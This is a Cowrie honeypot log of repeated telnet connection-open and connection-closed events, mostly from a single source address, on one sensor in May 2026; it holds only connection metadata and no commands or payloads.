{"eventid":"cowrie.session.closed","duration":30.815410375595093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:37.233314Z","src_ip":"147.135.136.77","session":"c233410377f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.030646085739136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:38.062611Z","src_ip":"147.135.136.77","session":"c76aa7871fae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.890189170837402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:38.098795Z","src_ip":"147.135.136.77","session":"b531d91aefe5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.624964237213135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:38.126778Z","src_ip":"147.135.136.77","session":"1a87862473f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.435359477996826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:38.131697Z","src_ip":"147.135.136.77","session":"6a1194a4c88f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59606,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcdc88135d69","protocol":"telnet","message":"New connection: 147.135.136.77:59606 (159.203.135.109:23) [session: bcdc88135d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:38.196733Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":48846,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c3d2005691e","protocol":"telnet","message":"New connection: 81.30.157.18:48846 (159.203.135.109:23) [session: 1c3d2005691e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:38.227359Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59610,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1f5937cfdca","protocol":"telnet","message":"New connection: 147.135.136.77:59610 (159.203.135.109:23) [session: e1f5937cfdca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:38.289129Z"}
{"eventid":"cowrie.session.closed","duration":30.474189043045044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:38.332923Z","src_ip":"147.135.136.77","session":"ad8b7788742f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59622,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0b011fe4cba","protocol":"telnet","message":"New connection: 147.135.136.77:59622 (159.203.135.109:23) [session: d0b011fe4cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:38.772078Z"}
{"eventid":"cowrie.session.closed","duration":30.31757092475891,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:39.055214Z","src_ip":"147.135.136.77","session":"ef3adf9bd387","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.046539545059204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:39.059731Z","src_ip":"37.187.24.227","session":"58e63dc06f52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.479405641555786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:39.084596Z","src_ip":"147.135.136.77","session":"d853ef7389fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.885490655899048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:39.199901Z","src_ip":"147.135.136.77","session":"629b6bfb8793","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59638,"dst_ip":"159.203.135.109","dst_port":23,"session":"41d45677dc95","protocol":"telnet","message":"New connection: 147.135.136.77:59638 (159.203.135.109:23) [session: 41d45677dc95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:39.488786Z"}
{"eventid":"cowrie.session.closed","duration":30.21177911758423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:40.061952Z","src_ip":"147.135.136.77","session":"6dc1397ac27d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53873324394226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:40.095119Z","src_ip":"147.135.136.77","session":"f3fa0ab06c8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51158308982849,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:40.192127Z","src_ip":"147.135.136.77","session":"c6a949d65628","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59650,"dst_ip":"159.203.135.109","dst_port":23,"session":"78454e1530e0","protocol":"telnet","message":"New connection: 147.135.136.77:59650 (159.203.135.109:23) [session: 78454e1530e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:40.260924Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59658,"dst_ip":"159.203.135.109","dst_port":23,"session":"a35ee8d5010b","protocol":"telnet","message":"New connection: 147.135.136.77:59658 (159.203.135.109:23) [session: a35ee8d5010b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:40.357464Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":45156,"dst_ip":"159.203.135.109","dst_port":23,"session":"242943023bb1","protocol":"telnet","message":"New connection: 37.187.24.227:45156 (159.203.135.109:23) [session: 242943023bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:40.641601Z"}
{"eventid":"cowrie.session.closed","duration":31.14568591117859,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:40.859977Z","src_ip":"147.135.136.77","session":"743933bdabf0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.699015140533447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:40.925195Z","src_ip":"147.135.136.77","session":"d30294f71184","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58378529548645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:41.038958Z","src_ip":"147.135.136.77","session":"63ad08aba473","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.473873376846313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:41.043605Z","src_ip":"147.135.136.77","session":"fcece44e69bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.150020837783813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:41.078176Z","src_ip":"147.135.136.77","session":"eb0143a93620","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":45956,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f041587316f","protocol":"telnet","message":"New connection: 37.187.24.227:45956 (159.203.135.109:23) [session: 6f041587316f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:41.207312Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59676,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f3359ee2711","protocol":"telnet","message":"New connection: 147.135.136.77:59676 (159.203.135.109:23) [session: 5f3359ee2711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:41.254320Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59672,"dst_ip":"159.203.135.109","dst_port":23,"session":"118f2a7f134f","protocol":"telnet","message":"New connection: 147.135.136.77:59672 (159.203.135.109:23) [session: 118f2a7f134f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:41.444729Z"}
{"eventid":"cowrie.session.closed","duration":30.667165756225586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:41.513350Z","src_ip":"168.119.91.149","session":"b068fa1251ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59682,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ab66ea3b203","protocol":"telnet","message":"New connection: 147.135.136.77:59682 (159.203.135.109:23) [session: 2ab66ea3b203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:41.713135Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59702,"dst_ip":"159.203.135.109","dst_port":23,"session":"da071a72873e","protocol":"telnet","message":"New connection: 147.135.136.77:59702 (159.203.135.109:23) [session: da071a72873e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:41.937514Z"}
{"eventid":"cowrie.session.closed","duration":30.77201771736145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:42.037218Z","src_ip":"147.135.136.77","session":"7b1a1bad8959","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.232964038848877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:42.046321Z","src_ip":"147.135.136.77","session":"bdf47950d8b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.099998235702515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:42.074343Z","src_ip":"147.135.136.77","session":"76a64ede1371","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.35875368118286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:42.090194Z","src_ip":"147.135.136.77","session":"930f80bfc393","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.787389755249023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:42.138627Z","src_ip":"147.135.136.77","session":"04f9ff859336","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86276936531067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:42.571844Z","src_ip":"147.135.136.77","session":"4f9dd451107b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59706,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ea149b781b0","protocol":"telnet","message":"New connection: 147.135.136.77:59706 (159.203.135.109:23) [session: 4ea149b781b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:42.757031Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59700,"dst_ip":"159.203.135.109","dst_port":23,"session":"32a03181fb65","protocol":"telnet","message":"New connection: 147.135.136.77:59700 (159.203.135.109:23) [session: 32a03181fb65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:42.799811Z"}
{"eventid":"cowrie.session.closed","duration":30.86358666419983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:43.054951Z","src_ip":"37.187.24.227","session":"55d27564ffe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59714,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fbbc1d210d6","protocol":"telnet","message":"New connection: 147.135.136.77:59714 (159.203.135.109:23) [session: 8fbbc1d210d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:43.288294Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59716,"dst_ip":"159.203.135.109","dst_port":23,"session":"39f845731946","protocol":"telnet","message":"New connection: 147.135.136.77:59716 (159.203.135.109:23) [session: 39f845731946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:43.523565Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59722,"dst_ip":"159.203.135.109","dst_port":23,"session":"da647d9c7eed","protocol":"telnet","message":"New connection: 147.135.136.77:59722 (159.203.135.109:23) [session: da647d9c7eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:43.618582Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59726,"dst_ip":"159.203.135.109","dst_port":23,"session":"031439117ba8","protocol":"telnet","message":"New connection: 147.135.136.77:59726 (159.203.135.109:23) [session: 031439117ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:43.672420Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59730,"dst_ip":"159.203.135.109","dst_port":23,"session":"09077180f902","protocol":"telnet","message":"New connection: 147.135.136.77:59730 (159.203.135.109:23) [session: 09077180f902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:43.869058Z"}
{"eventid":"cowrie.session.closed","duration":31.086981058120728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:44.045449Z","src_ip":"147.135.136.77","session":"b08baa1fd3d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99759864807129,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:44.225359Z","src_ip":"147.135.136.77","session":"f35b97a96702","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59736,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3eae263fe5c","protocol":"telnet","message":"New connection: 147.135.136.77:59736 (159.203.135.109:23) [session: f3eae263fe5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:44.230262Z"}
{"eventid":"cowrie.session.closed","duration":31.3434739112854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:44.429402Z","src_ip":"147.135.136.77","session":"b7af7a278467","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59742,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7ffa198064e","protocol":"telnet","message":"New connection: 147.135.136.77:59742 (159.203.135.109:23) [session: e7ffa198064e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:44.436875Z"}
{"eventid":"cowrie.session.closed","duration":30.789934635162354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:44.447217Z","src_ip":"147.135.136.77","session":"fb0751e24e35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59748,"dst_ip":"159.203.135.109","dst_port":23,"session":"17ae3ac448cd","protocol":"telnet","message":"New connection: 147.135.136.77:59748 (159.203.135.109:23) [session: 17ae3ac448cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:44.477706Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59750,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e05d40f3bb0","protocol":"telnet","message":"New connection: 147.135.136.77:59750 (159.203.135.109:23) [session: 7e05d40f3bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:44.847040Z"}
{"eventid":"cowrie.session.closed","duration":30.17251682281494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:45.105609Z","src_ip":"147.135.136.77","session":"d6848c19cca3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59762,"dst_ip":"159.203.135.109","dst_port":23,"session":"df5aab16045e","protocol":"telnet","message":"New connection: 147.135.136.77:59762 (159.203.135.109:23) [session: df5aab16045e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:45.168926Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59774,"dst_ip":"159.203.135.109","dst_port":23,"session":"09c69dc347ee","protocol":"telnet","message":"New connection: 147.135.136.77:59774 (159.203.135.109:23) [session: 09c69dc347ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:45.250089Z"}
{"eventid":"cowrie.session.closed","duration":30.46333956718445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:45.491255Z","src_ip":"168.119.91.149","session":"5f3be9016803","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33183765411377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:45.565395Z","src_ip":"147.135.136.77","session":"e5cd18d5a0fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":45724,"dst_ip":"159.203.135.109","dst_port":23,"session":"58cd5d161824","protocol":"telnet","message":"New connection: 147.135.136.77:45724 (159.203.135.109:23) [session: 58cd5d161824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:45.989110Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":45736,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e33b0a6d2da","protocol":"telnet","message":"New connection: 147.135.136.77:45736 (159.203.135.109:23) [session: 6e33b0a6d2da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:46.024133Z"}
{"eventid":"cowrie.session.closed","duration":30.776623964309692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:46.082778Z","src_ip":"147.135.136.77","session":"900534ede8fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":45750,"dst_ip":"159.203.135.109","dst_port":23,"session":"293cf4e2a884","protocol":"telnet","message":"New connection: 147.135.136.77:45750 (159.203.135.109:23) [session: 293cf4e2a884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:46.087081Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":45762,"dst_ip":"159.203.135.109","dst_port":23,"session":"dba2c799fe0b","protocol":"telnet","message":"New connection: 147.135.136.77:45762 (159.203.135.109:23) [session: dba2c799fe0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:46.215322Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":45778,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5e58dc7ab1b","protocol":"telnet","message":"New connection: 147.135.136.77:45778 (159.203.135.109:23) [session: c5e58dc7ab1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:46.282325Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59776,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d702d32308f","protocol":"telnet","message":"New connection: 147.135.136.77:59776 (159.203.135.109:23) [session: 9d702d32308f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:46.306282Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":45780,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd1a236eb47e","protocol":"telnet","message":"New connection: 147.135.136.77:45780 (159.203.135.109:23) [session: cd1a236eb47e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:46.641866Z"}
{"eventid":"cowrie.session.closed","duration":30.50920820236206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:47.054213Z","src_ip":"147.135.136.77","session":"2e53926f96f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86223578453064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:47.089063Z","src_ip":"147.135.136.77","session":"5ccadf354138","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95518136024475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:47.115799Z","src_ip":"147.135.136.77","session":"6616baa82634","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.179633140563965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:47.174607Z","src_ip":"147.135.136.77","session":"4d8d4fc17e6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.672518253326416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:47.306420Z","src_ip":"147.135.136.77","session":"065a4ca17e28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.032212257385254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:47.477145Z","src_ip":"147.135.136.77","session":"c013a56252bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.241279363632202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:47.519360Z","src_ip":"168.119.91.149","session":"57f42bc37109","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":45794,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e3c9334d517","protocol":"telnet","message":"New connection: 147.135.136.77:45794 (159.203.135.109:23) [session: 9e3c9334d517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:47.793995Z"}
{"eventid":"cowrie.session.closed","duration":31.678433418273926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:47.942282Z","src_ip":"147.135.136.77","session":"f73baeac1ebc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.793017625808716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:48.054464Z","src_ip":"147.135.136.77","session":"adee0663bcbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.580034255981445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:48.062628Z","src_ip":"147.135.136.77","session":"a07d6b7a20c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.244064331054688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:48.084596Z","src_ip":"147.135.136.77","session":"dc8a50991343","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":45808,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b8bb950121f","protocol":"telnet","message":"New connection: 147.135.136.77:45808 (159.203.135.109:23) [session: 0b8bb950121f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:48.353703Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":45818,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcff047ec588","protocol":"telnet","message":"New connection: 147.135.136.77:45818 (159.203.135.109:23) [session: bcff047ec588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:48.358882Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":45834,"dst_ip":"159.203.135.109","dst_port":23,"session":"6577547a0e90","protocol":"telnet","message":"New connection: 147.135.136.77:45834 (159.203.135.109:23) [session: 6577547a0e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:48.464653Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":45838,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8ca41f7d449","protocol":"telnet","message":"New connection: 147.135.136.77:45838 (159.203.135.109:23) [session: d8ca41f7d449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:48.564656Z"}
